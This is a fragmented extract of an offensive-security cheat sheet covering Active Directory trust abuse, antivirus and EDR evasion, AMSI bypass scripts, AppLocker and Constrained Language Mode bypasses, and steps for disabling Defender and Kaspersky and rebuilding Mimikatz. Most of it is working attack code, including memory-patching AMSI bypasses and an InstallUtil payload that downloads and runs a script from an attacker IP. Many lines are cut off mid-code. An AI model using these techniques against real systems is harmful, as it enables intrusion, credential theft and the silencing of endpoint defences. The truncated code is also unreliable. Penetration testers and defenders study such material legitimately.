$ cidr_merge.py | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n | grep -e '^192' -e '^172' -e '^10
"""
import netaddr
iplst = []
with open('ip.lst', 'r') as fd:
for line in fd:
ip = line.rstrip('\n')
try:
iplst.append(netaddr.IPNetwork(f'{ip}/24'))
except netaddr.core.AddrFormatError:
pass
Or using mapcidr:
DnsServer
Dump ADIDNS using PowerShell and DnsServer module:
Attack Trusts
"Note that the Active Directory domain is not the security boundary; the AD forest is." - Sean Metcalf (ref)
http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
http://www.harmj0y.net/blog/redteaming/domain-trusts-were-not-done-yet/
http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/
https://habr.com/ru/company/jetinfosystems/blog/466445/
Theory
https://blogs.msmvps.com/acefekay/2016/11/02/active-directory-trusts/
https://github.com/snovvcrash/TrustVisualizer/blob/9dadd852b69b7882577c0ab6ac7f42f539d9c58a/Tru
stVisualizer.py#L48-L60
Trust 👉🏻 a link between the authentication systems of two domains.
Transitive trust 👉🏻 the trust is extended to objects which the child domain trusts.
sIDHistory/ExtraSids Hopping
http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-
to-ea-in-parent-domain
Abusing Bidirectional ParentChild trust between child megacorp local ⟷ megacorp local
Check if SID filtering is enabled for a trust:
For creating a cross-trust golden ticket (forged inter-realm TGT) we'll need:
2. name of the child domain's DC machine account and its RID ( DC01$ , 31337 );
6. ???
7. PROFIT.
1.
PS > $env:userdnsdomain
CHILD.MEGACORP.LOCAL
2.
PV2 > (Get-NetComputer -ComputerName DC01.child.megacorp.local -FullData | select ObjectSID).O
PV3 > (Get-DomainComputer DC01.child.megacorp.local | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-31337
3.
PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634
4.
PS > (New-Object System.Security.Principal.NTAccount("megacorp.local","krbtgt")).Translate([Sy
S-1-5-21-2284550090-1208917427-1204316795-502
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Nam
megacorp.local
DCSync:
Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native
user in current domain), we can request Kerberos tickets manually with Rubeus.
UnD + PrinterBug
https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/
https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-
71f2b33688e1
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#breaking-forest-trusts
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
Spoolsample.ps1
https://github.com/BlackDiverX/WinTools/blob/master/SpoolSample-Printerbug/SpoolSample.exe
Unconstrained
Can be abused either if CVE-2019-0683 is not fixed or if EnableTGTDelegation is enabled for the
trusted forest:
List user accounts from a target domain with SPNs set for Kerberoasting:
PV3 > Get-DomainUser -SPN -Domain megacorp.local | ? {$_.samAccountName -ne "krbtgt"} | select
PS > .\SharpView.exe Get-DomainUser -SPN -Domain megacorp.local -Properties samAccountName,mem
If SID history is enabled (e.g., if domain is on its migration period, netdom trust b.net /d:a.net
/enablesidhistory:yes ) then the forest trust is treated as external.
We can try to locate non-default (with RID greater than 1000) admin account:
If such an account is a member of a domain local security group (not a global group like Enterprise Admins
or Domain Admins) and allows us to pwn a user or a computer in target domain, we can forge the inter-realm
TGT the same way as described above.
CVE-2020-0665
https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/
https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/
https://github.com/dirkjanm/forest-trust-tools
Visualization (yEd)
http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/
https://github.com/HarmJ0y/TrustVisualizer
https://github.com/snovvcrash/TrustVisualizer
https://www.yworks.com/products/yed
PV2 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation trusts.csv
PV3 > Get-DomainTrustMapping | Export-Csv -NoTypeInformation trusts.csv
$ git clone https://github.com/snovvcrash/TrustVisualizer && cd TrustVisualizer
$ pip3 install -r requirements.txt
$ python3 TrustVisualizer.py trusts.csv
AV / EDR Evasion
https://hacker.house/lab/windows-defender-bypassing-for-meterpreter/
https://codeby.net/threads/meterpreter-snova-v-dele-100-fud-with-metasploit-5.66730/
https://github.com/phackt/stager.dll
https://medium.com/securebit/bypassing-av-through-metasploit-loader-32-bit-6d62930151ad
https://medium.com/securebit/bypassing-av-through-metasploit-loader-64-bit-9abe55e3e0c8
https://xakep.ru/2020/12/23/shikata-ga-nai/
https://infosecwriteups.com/evade-avs-edr-with-shellcode-injection-159dde4dba1a?gi=84db9a8c5c5f
https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
https://luemmelsec.github.io/Circumventing-Countermeasures-In-AD/
https://blog.sunggwanchoi.com/creating-a-loader-poc-using-various-languages/
https://sevrosecurity.com/2019/05/25/bypass-windows-defender-with-a-simple-shell-loader/
https://xakep.ru/2021/07/23/detection-bypassing/
https://zen.yandex.ru/media/id/5d4f02da027a1500ad43866f/obhodim-antivirusy-kriptor-net-prilojenii-
5fc6a199a8f33a1036140386
Recon
https://github.com/ethereal-vx/Antivirus-Artifacts
https://github.com/Mr-Un1k0d3r/EDRs
PS > cd C:\Windows\Microsoft.NET\Framework64\
PS > ls
PS > cd .\v4.0.30319\
PS > Get-Item .\clr.dll | Fl
Or
PS > [System.Diagnostics.FileVersionInfo]::GetVersionInfo($(Get-Item .\clr.dll)).FileVersion
1511 4.6.1
1607 4.6.2
1703 4.7
1709 4.7.1
1803 4.7.2
1909+ 4.8
4, 4.5-4.8 4
Note that we don't have to target the exact .NET Framework version when compiling our tools. It's
enough to match the above relationship between .NET Framework version and CLR version, i. e.
all 4.x versions will execute on CLR v4. For example, Rubeus compiled to target v4.5 will run on
a machine with only .NET v4.0 installed.
Tools
msfvenom
Veil-Evasion
Hyperion + Pescramble
GreatSCT
https://github.com/GreatSCT/GreatSCT
HackTheBox - Arkham
Install and generate a payload:
$ msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
Invoke-Obfuscation
https://github.com/danielbohannon/Invoke-Obfuscation
https://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-usage-guide
Out-EncryptedScript.ps1
https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-
EncryptedScript.ps1
https://powersploit.readthedocs.io/en/latest/ScriptModification/Out-EncryptedScript/
PowerShellArmoury
https://github.com/cfalta/PowerShellArmoury
https://cyberstoph.org/posts/2019/12/evading-anti-virus-with-powershell-armoury/
https://cyberstoph.org/posts/2020/02/psarmoury-1.4-now-with-even-more-armour/
Ebowla
PEzor
https://github.com/phra/PEzor
inceptor
https://klezvirus.github.io/RedTeaming/AV_Evasion/CodeExeNewDotNet/
https://github.com/klezVirus/inceptor
ScareCrow
https://github.com/optiv/ScareCrow
https://www.grahamhelton.com/blog/scarecrow/
https://adamsvoboda.net/evading-edr-with-scarecrow/
Huan
https://github.com/frkngksl/Huan
https://github.com/9emin1/charlotte
MeterPwrShell
https://github.com/GetRektBoy724/MeterPwrShell/releases
https://raikia.com/tool-powershell-encoder/
SharpSploit
https://github.com/cobbr/SharpSploit
https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/SharpSploit%20-
%20Quick%20Command%20Reference.md
SharpGen
https://github.com/cobbr/SharpGen
https://cobbr.io/SharpGen.html
Execution.ShellCode
https://pscustomobject.github.io/powershell/howto/PowerShell-Add-Assembly/
https://github.com/S3cur3Th1sSh1t/PowerSharpPack#powersharppack
https://github.com/GhostPack/Rubeus#sidenote-running-rubeus-through-powershell
https://github.com/cfalta/PowerShellArmoury/blob/master/ConvertTo-Powershell.ps1
https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/convert_c%23_to_ps1.ps1
https://icyguider.github.io/2022/01/03/Convert-CSharp-Tools-To-PowerShell.html
https://cyberstoph.org/posts/2020/09/convertto-powershell-wrapping-applications-with-ps/
A way to bypass AV signature analysis: you can gzip-compress and base64-encode a .NET assembly to
load it reflectively via PowerShell right from memory (when compiling the binary, make Program class and
its Main method public):
CompressEncodeAssembly.ps1
$bytes = [System.IO.File]::ReadAllBytes("$(pwd)\binary.exe")
[System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($outStream, [System.IO.Compression.C
$gzipStream.Write($bytes, 0, $bytes.Length)
$gzipStream.Close()
$outStream.Close()
[byte[]] $outBytes = $outStream.ToArray()
$b64Zipped = [System.Convert]::ToBase64String($outBytes)
$b64Zipped | Out-File -NoNewLine -Encoding ASCII .\b64.txt
notepad.exe .\b64.txt
An example how the binary can be actually decoded, decompressed and run from memory:
function Invoke-S0m3B1n4ry
{
[CmdletBinding()]
Param([String]$cOmmANd = " ")
$a = NeW-obJeCt sYsTeM.Io.MEMoRysTREaM(,[coNveRT]::frombaSE64sTrINg("..."))
[S0m3B1n4ry.Program]::maiN($CoMmAND.Split())
# or [S0m3B1n4ry.Program]::maiN([string[]]$args)
[cOnsolE]::sEtout($olDCONsOleout)
$resUlTs = $sTRInGWRiter.TOSTring()
$rESuLTs
}
C# to Unmanaged DLL
https://blog.xpnsec.com/rundll32-your-dotnet/
2. Install DllExport package via "Manage NuGet Packages for Solution" in VS.
5. Edit the Main function code to work with no arguments passed so that the signature looks like static
void Main() .
6. Add [DllExport] attribute before the Main function.
7. Check "Allow unsafe code" and "Optimize code" boxes in Build tab of the solution.
8. Build the solution as Release x64 DLL assembly.
9. (Optional) Obfuscate the assembly with something like Confuser.
DllExport Configuration
Author's note: I’m not sure why it requires so much finessing, but I’m open to any optimizations or
explanations if anyone knows. Specifically, only the DLL in the \x64\ directory will work, for
some reason the one that’s under \Release\ does not contain the entrypoint that should be
generated by [DllExport] , even though it’s built at the same time as the one in \x64\ .
AMSI Bypass
Antimalware Scan Interface
https://amsi.fail/
https://github.com/subat0mik/whoamsi
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/
https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/
https://iwantmore.pizza/posts/amsi.html
https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation
https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/
PowerShell
Evil-WinRM + IEX
Wipe amsiContext
amsiContext.ps1
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
Set amsiInitFailed
amsiInitFailed.ps1
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Failed") {$f = $e}}
$f.SetValue($null,$true)
Obfuscated:
https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_12.ps1
amsiInitFailed-obf.ps1
$A="5492868772801748688168747280728187173688878280688776";$B="82811736808676568776798668808676
Patch AmsiScanBuffer
https://rastamouse.me/memory-patching-amsi-bypass/
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patching-amsidll-amsiscanbuffer-by-
rasta-mouse
0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-
powershell-code.html
https://gist.github.com/snovvcrash/cc97787d34938e9d93243a8e4947e560
amsiScanBuffer.ps1
function lookupFunc {
Param ($moduleName, $funcName)
beforeAndAfterPatch.ps1
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace ConsoleApp
{
class Program
{
// Test sample
//var sample = Encoding.UTF8.GetBytes(@"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD
var sample = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect
[DllImport("amsi.dll")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);
[DllImport("amsi.dll")]
static extern uint AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);
// The antimalware provider may return a result between 1 and 32767, inclusive, as an
// The larger the result, the riskier it is to continue with the content.
// Any return result equal to or larger than 32768 is considered malware, and the cont
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, stri
}
}
Patch AmsiOpenSession
amsiOpenSession.ps1
function lookupFunc {
Param ($moduleName, $funcName)
function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)
https://www.blackhat.com/asia-22/briefings/schedule/#amsi-unchained-review-of-known-amsi-bypass-
techniques-and-introducing-a-new-one-26120
https://github.com/deepinstinct/AMSI-Unchained/blob/main/InitializationInterception.ps1
https://github.com/deepinstinct/AMSI-Unchained/blob/main/ScanInterception_x64.ps1
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patch-the-providers-dll-of-microsoft-
mpoavdll
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#scanning-interception
List registered AMSI Providers (same as AMSIProviders):
Jscript
regkey.js
var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try {
var AmsiEnable = sh.RegRead(key);
if (AmsiEnable != 0) {
throw new Error(1, '');
}
} catch(e) {
sh.RegWrite(key, 0, "REG_DWORD");
sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}" + WScript.ScriptFullName, 0
sh.RegWrite(key, 1, "REG_DWORD");
WScript.Quit(1);
}
<EVIL_SCRIPT_CONTENTS>
...
Rename AMSI.dll
rename.js
var filesys= new ActiveXObject("Scripting.FileSystemObject");
var sh = new ActiveXObject('WScript.Shell');
try {
if(filesys.FileExists("C:\\Windows\\Tasks\\AMSI.dll") == 0) {
throw new Error(1, '');
}
} catch(e) {
filesys.CopyFile("C:\\Windows\\System32\\wscript.exe", "C:\\Windows\\Tasks\\AMSI.dll")
sh.Exec("C:\\Windows\\Tasks\\AMSI.dll
WScript.Quit(1); -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}"+WScri
}
<EVIL_SCRIPT_CONTENTS>
...
https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-
whitelisting-rules/
https://vanmieghem.io/stealth-outlook-persistence/
AppLocker Bypass
AppLocker Bypass
https://github.com/api0cradle/UltimateAppLockerByPassList
https://www.hackplayers.com/2018/12/english-cor-profilers-bypassing-windows.html
https://0xdf.gitlab.io/2019/03/15/htb-ethereal-cor.html
https://gitlab.com/0xdf/ctfscripts/tree/master/rev_shell_dll
Enumeration
InstallUtil
BypassCLM.cs
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace BypassCLM
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("These aren't the droids you're looking for.");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
string cmd = "IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/run
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35
Microsoft.Workflow.Compiler.exe
info.xml
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datac
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>payload.txt</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel
<assemblyNames xmlns:
<compilerOptions d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
i:nil="true" xmlns="h
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Co
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmln
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="t
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">fa
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compile
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns=
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputNa
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warn
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Comp
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:ni
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:n
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="
</parameters>
</CompilerInput>
payload.txt
using System;
using System.Diagnostics;
using System.Workflow.Activities;
MSBuild
https://egre55.github.io/multi-stage-msbuild-applocker-bypass/
cmd.hta
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
WMIC
evil.xsl
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell");
r.Run("powershell.exe -WindowStyle Hidden -NoP -NoLogo -exec Bypass -e
]]>
</ms:script>
</stylesheet>
CLM Bypass
PowerShell Constrained Language Mode
https://github.com/calebstewart/bypass-clm
Recon
Check PowerShell language mode:
PS > $ExecutionContext.SessionState.LanguageMode
In-place functions:
PS > whoami
The term 'whoami.exe' is not recognized as the name of cmdlet...
PS > &{ whoami }
megacorp\snovvcrash
Tools
https://github.com/p3nt4/PowerShdll
https://github.com/iomoath/PowerShx
Defender
Microsoft Defender
Coerce the victim machine to reach the attacker (to steal Net-NTLM):
https://github.com/mandiant/commando-vm#pre-install-procedures
https://github.com/swagkarna/Defeat-Defender-V1.2
https://github.com/APTortellini/DefenderSwitch
https://github.com/dosxuz/DefenderStop
https://gist.github.com/fiercebrute/46e0636c0eaf72dcd3df4e280b6792d6
http://www.wxxy-sec.com/?p=154
gpedit.msc > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Real-
time Protection > Turn off real-time protection > Enabled ✔
gpedit.msc > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Turn
off Microsoft Defender Antivirus > Enabled ✔
Disable scanning all downloaded files and attachments, disable AMSI (reactive):
Remove signatures (if Internet connection is present, they will be downloaded again):
https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-
fun-and-profit/article/
https://github.com/plackyhacker/SandboxDefender
https://github.com/pwn1sher/KillDefender
https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools
ETW Block
Event Tracing for Windows
https://bmcder.com/blog/a-begginers-all-inclusive-guide-to-etw
Disable PSEtwLogProvider
https://gist.github.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing
Patch EtwEventWrite
https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
https://github.com/Flangvik/NetLoader/blob/master/Source/Program.cs#L241-L258
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
https://bestestredteam.com/2019/01/27/powershell-execution-policy-bypass/
KIS / KES
Kaspersy Internet Security (KIS) / Kaspersky Endpoint Security (KES)
https://www.exploit-db.com/docs/english/40433-deactivating-endpoint-protection-software-in-an-
unauthorized-manner-(revisited).pdf
Scan Exclusions
Potential scan exclusions:
C:\Windows\System32\LogFiles\
C:\Windows\System32\inetsrv\
C:\Windows\ClusterStorage\
C:\ProgramData\Microsoft\Windows\Hyper-V\
Stop Service
Check if KES Self-Defense is enabled:
Cmd > cd "C:\Program Files (x86)\Kaspersky Lab\Kaspersky Endpoint Security for Windows"
Cmd > klpsm.exe stop_avp_service
Cmd > klpsm.exe start_avp_service
Mimikatz
https://blog.xpnsec.com/exploring-mimikatz-part-1/
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://www.praetorian.com/blog/inside-mimikatz-part1/
https://www.praetorian.com/blog/inside-mimikatz-part2/
https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html
Obfuscate Mimikatz
https://s3cur3th1ssh1t.github.io/Bypass-AMSI-by-manual-modification-part-II/
https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/
Invoke-Mimikatz
http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-
reflectivedllinjection-ps1/
Update .ps1
http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
1. Grab source code zip from the latest (or any one you want) release of Mimikatz.
4. Right-click on mimikatz solution > Properties > C/C++ > Set Treat warnings as errors to No
(/WX-) > OK.
6. Transform the resulting powerkatz DLLs to base64 and replace the $PEBytes32 and
$PEBytes64 vars at the bottom of Invoke-Mimikatz.ps1 with a PowerShell script below.
Update-InvokeMimikatz.ps1
$powerkatz32 = [System.IO.File]::ReadAllBytes("Win32\powerkatz.dll")
